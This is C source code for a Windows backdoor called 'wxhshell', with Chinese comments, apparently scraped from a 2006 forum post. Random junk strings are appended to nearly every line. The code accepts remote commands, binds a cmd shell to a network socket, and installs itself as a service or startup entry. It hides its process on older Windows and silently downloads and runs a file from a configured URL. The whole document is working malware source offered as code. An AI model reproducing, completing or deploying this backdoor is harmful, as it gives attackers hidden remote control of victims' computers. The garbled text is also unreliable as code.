    switch(cmd[0]) { P;.W+WN  
  <dWv?<o  
  // 帮助 +HpA:]#Y  
  case '?': {  tU5zF.%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #lo6c;*m5  
    break; KfEx"94  
  } Y1\}5k{>  
  // 安装 `,(4]tlL  
  case 'i': { B:Oa}/H   
    if(Install()) #P9~}JB3,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )u&|_&g{}J  
    else d'gfQlDny  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nF]W,@u"h  
    break; NN{?z!  
    } yPBZc h%-  
  // 卸载 .NC!7+1m  
  case 'r': { s]0{a.Cpv  
    if(Uninstall()) !PlEO 2at  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dj?> <@  
    else 9rX&uP)j^#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $99n&t$Y  
    break; `{h*/Q  
    } NR6#g,+7  
  // 显示 wxhshell 所在路径 Wis~$"  
  case 'p': { 3pROf#M  
    char svExeFile[MAX_PATH]; n38p!oS  
    strcpy(svExeFile,"\n\r"); a5^] 20Fa  
      strcat(svExeFile,ExeFile); sE<V5`Z=  
        send(wsh,svExeFile,strlen(svExeFile),0); 7aRi5  
    break; Pj^{|U21  
    } 05#1w#i  
  // 重启 |^I0dR/w:  
  case 'b': {  _"yh.N&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pU}(@oy  
    if(Boot(REBOOT)) !-x$L>1$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ta0|+IYk<  
    else { ?!:ha;n  
    closesocket(wsh); iuW[`ou X  
    ExitThread(0); tY<4%~%X  
    } 7nTeP(M%  
    break; B]wk+8SMY.  
    } H2\;%K 2  
  // 关机 .VJMz4$]O  
  case 'd': { 1=c\Rr9]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ZU4nc3__  
    if(Boot(SHUTDOWN)) \)904W5R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ah&D%8E  
    else { 6'57  
    closesocket(wsh); %(#y 5yJ]  
    ExitThread(0); [!uG1GJ>  
    } U$.@]F4&  
    break; oulVg];  
    } gCS<iBT(7  
  // 获取shell DJ k/{Z:  
  case 's': { P )"m0Lu<  
    CmdShell(wsh); 2;`1h[,-^  
    closesocket(wsh); b5I I/Y  
    ExitThread(0); )9G[dDeC  
    break; N)|yu1S  
  } 6<SAa#@ey  
  // 退出 %lhEM}Sm  
  case 'x': { c|y(2K)o[=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /{ l$sBUL  
    CloseIt(wsh); }OR@~V{Gj  
    break; G6P?2@  
    } H5B:;g@  
  // 离开 ,eW%{[g(  
  case 'q': { ^ogt+6c  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); GW@;}m(  
    closesocket(wsh); jXx<`I+]  
    WSACleanup(); Yui3+}Ms  
    exit(1); 3{64 @s  
    break; {X+3;&@  
        } O, wJR  
  } K(rWNO  
  } S(l O(gY  
)p0^zv{  
  // 提示信息 l`{\"#4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CS5?Ti6  
} IB"w&sBy  
  } L(<*)No  
#e1>H1eU  
  return; z&)A,ryW0  
} OA1uY83"  
zpZm&WC  
// shell模块句柄 drP=A~?&:  
int CmdShell(SOCKET sock) %QGC8Tz  
{ m+R[#GE8#  
STARTUPINFO si;  .Wj;%|  
ZeroMemory(&si,sizeof(si)); gQg"j)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; py!|\00}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t;Sb/3  
PROCESS_INFORMATION ProcessInfo; )h4 f\0  
char cmdline[]="cmd"; 5"@*?X K^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0B/,/KX  
  return 0; Su7?;Oh/yI  
} $\BE&4g  
S(I{NL}= $  
// 自身启动模式 ]EBxl=C}D  
int StartFromService(void)  .-c4wm}  
{ =E4LRKn  
typedef struct 7 :xfPx  
{ "Mn6U-  
  DWORD ExitStatus; /QWvW=F2<  
  DWORD PebBaseAddress; ay ;S4c/_  
  DWORD AffinityMask; u@UMP@"#  
  DWORD BasePriority; =,=A,kI[;  
  ULONG UniqueProcessId; VcO0sa f`  
  ULONG InheritedFromUniqueProcessId; 61>.vT8P  
}   PROCESS_BASIC_INFORMATION; )e+>w=t  
g`' !HGY  
PROCNTQSIP NtQueryInformationProcess; oXh#a8  
C.yQ=\U2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9G#n 0&wRJ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  :D6 ON"6  
m)t;9J5  
  HANDLE             hProcess; b9J_1Gl]  
  PROCESS_BASIC_INFORMATION pbi; rk2j#>l$4  
2g-j.TM  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z6=Z\P+  
  if(NULL == hInst ) return 0; Ts[_u@   
_[c0)2h  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =JEv,ZGT3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6:[dj*KGmT  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); VU(v3^1"  
EF[@$j   
  if (!NtQueryInformationProcess) return 0; iDp)FQ$  
D9=KXo^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t7Iv?5]N  
  if(!hProcess) return 0; %K lrSo  
x.!V^HQSN  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ZF9z~9  
]?kZni8j_  
  CloseHandle(hProcess); 2\MT;;ZTZ  
{j?FNOJn  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xQ-<WF1i  
if(hProcess==NULL) return 0; B$fPgW-  
$aDVG})  
HMODULE hMod; yy^q2P  
char procName[255]; '4+ ur`  
unsigned long cbNeeded; {9&;Q|D z  
6 l|DU7i  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9k '7832u  
30#s aGV  
  CloseHandle(hProcess); /tx]5`#@7]  
;~ )5s'  
if(strstr(procName,"services")) return 1; // 以服务启动 y| i,|  
? r "{}%  
  return 0; // 注册表启动 |^"1{7)  
} )Xz,j9GzJS  
JxdDC^> 0  
// 主模块 eCU:Q  
int StartWxhshell(LPSTR lpCmdLine) "Y =;.:qe  
{ _ @NL;w:!  
  SOCKET wsl; BDW^7[n  
BOOL val=TRUE; X8a/ `Y,  
  int port=0; s^G.]%iU  
  struct sockaddr_in door; A@!qv#'  
r[`9uVT/  
  if(wscfg.ws_autoins) Install(); -8ywO"6  
w7.V6S$Ga  
port=atoi(lpCmdLine); HSE!x_$  
D09Sg%w  
if(port<=0) port=wscfg.ws_port; EPI4!3]  
#C74z$  
  WSADATA data; T= y}y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ["k,QX  
i/;\7n  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q^9_' t}X  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); / |;RV"  
  door.sin_family = AF_INET; _lJ!R:*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); mW(W\'~_~  
  door.sin_port = htons(port); zx"s*:O  
FF`T\&u  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { by1<[$8r  
closesocket(wsl); Olt?~}  
return 1; ~rqCN,=d  
} urs,34h  
.LnGL]/  
  if(listen(wsl,2) == INVALID_SOCKET) { q.^;!f1  
closesocket(wsl); 8?#/o c  
return 1; rK6l8)o  
} i4Q@K,$  
  Wxhshell(wsl); O'p9u@kc  
  WSACleanup(); Uou1mZz/  
#?aPisV X>  
return 0; O_ muD\  
a8e6H30Sm  
} T9E+\D  
]KKS"0a  
// 以NT服务方式启动  c(f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T?CdZc.  
{ ~OYiq}g  
DWORD   status = 0; lBLARz&c#  
  DWORD   specificError = 0xfffffff; 'A=^Se`=  
t:x\kp  
  serviceStatus.dwServiceType     = SERVICE_WIN32; b;B%q$sntC  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; wtLO!=B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; PFlNo` iO  
  serviceStatus.dwWin32ExitCode     = 0; Gi|w}j_  
  serviceStatus.dwServiceSpecificExitCode = 0; $t'MSlF  
  serviceStatus.dwCheckPoint       = 0; 9rA0lqr]5  
  serviceStatus.dwWaitHint       = 0; `!3SF|x&  
@|Cz-J;D  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hn7# L  
  if (hServiceStatusHandle==0) return; >W=,j)MA  
;LKkbT 5  
status = GetLastError(); xf\C|@i  
  if (status!=NO_ERROR) e9Wa<i 8  
{ hE'-is@7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4$HhP, gL=  
    serviceStatus.dwCheckPoint       = 0; 3)t.p>VgO  
    serviceStatus.dwWaitHint       = 0; Fj8z  
    serviceStatus.dwWin32ExitCode     = status; P-9)38`5  
    serviceStatus.dwServiceSpecificExitCode = specificError; kr^P6}'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); z>1Pz(  
    return; T$)^gHS  
  } r..iko]T  
*2>&"B09`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; U*rcd-@  
  serviceStatus.dwCheckPoint       = 0; DD+7V@  
  serviceStatus.dwWaitHint       = 0; :DK {Vg6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8?B!2  
} K e;E1S-~  
"b~+;<}Q  
// 处理NT服务事件,比如:启动、停止 r Xt}6[S  
VOID WINAPI NTServiceHandler(DWORD fdwControl) g>E LGG |Q  
{ TM__I\+Q  
switch(fdwControl) n$A9_cHF7  
{ imhwY#D  
case SERVICE_CONTROL_STOP: <6%?OJhp  
  serviceStatus.dwWin32ExitCode = 0; 58}U^IW  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6IN e@  
  serviceStatus.dwCheckPoint   = 0; wQ:)KjhHH  
  serviceStatus.dwWaitHint     = 0; +[6G5cH  
  { x xHY+(m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '|6]_   
  } @(EAq<5{  
  return; TNT4<5Ol6  
case SERVICE_CONTROL_PAUSE: XAD- 'i  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; wyH[x!QX  
  break; 9R!atPz9  
case SERVICE_CONTROL_CONTINUE: 1 fp?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7y'RFD9@{  
  break; NR$3%0 nC6  
case SERVICE_CONTROL_INTERROGATE: W 8<&gh+  
  break; Co9^OF-k  
}; H5/6TX72N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]#i igPZ7  
} @o].He@L<j  
B-RjMxX4>  
// 标准应用程序主函数 ueogaifvB  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ko| d+  
{ *P[ hy  
h ]5(].  
// 获取操作系统版本 Q^P}\wb>  
OsIsNt=GetOsVer(); 9 &dtd  
GetModuleFileName(NULL,ExeFile,MAX_PATH); S3C]AhW;  
)rIwqUgp6\  
  // 从命令行安装 j.[.1G*("  
  if(strpbrk(lpCmdLine,"iI")) Install(); zF`0J  
&Q/W~)~  
  // 下载执行文件 F>Ah0U0  
if(wscfg.ws_downexe) { c`)\Pb/O  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) etQCzYIhn  
  WinExec(wscfg.ws_filenam,SW_HIDE); udK%>  
} X;+sUj8  
a K[&V't~  
if(!OsIsNt) { wA ,6bj  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]6,\r"  
HideProc(); O0x,lq  
StartWxhshell(lpCmdLine); mX"oW_EK  
} 4!{KWL`A  
else Ot0ap$&  
  if(StartFromService()) TIqtF&@o4  
  // 以服务方式启动 /$Ir5=B  
  StartServiceCtrlDispatcher(DispatchTable); I.(, hFx;  
else {S]}.7`l9(  
  // 普通方式启动 OU\~::  
  StartWxhshell(lpCmdLine); zEX  
LtO!umM  
return 0; |w~nVRb  
}
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只看该作者 1 发表于: 2006-10-10
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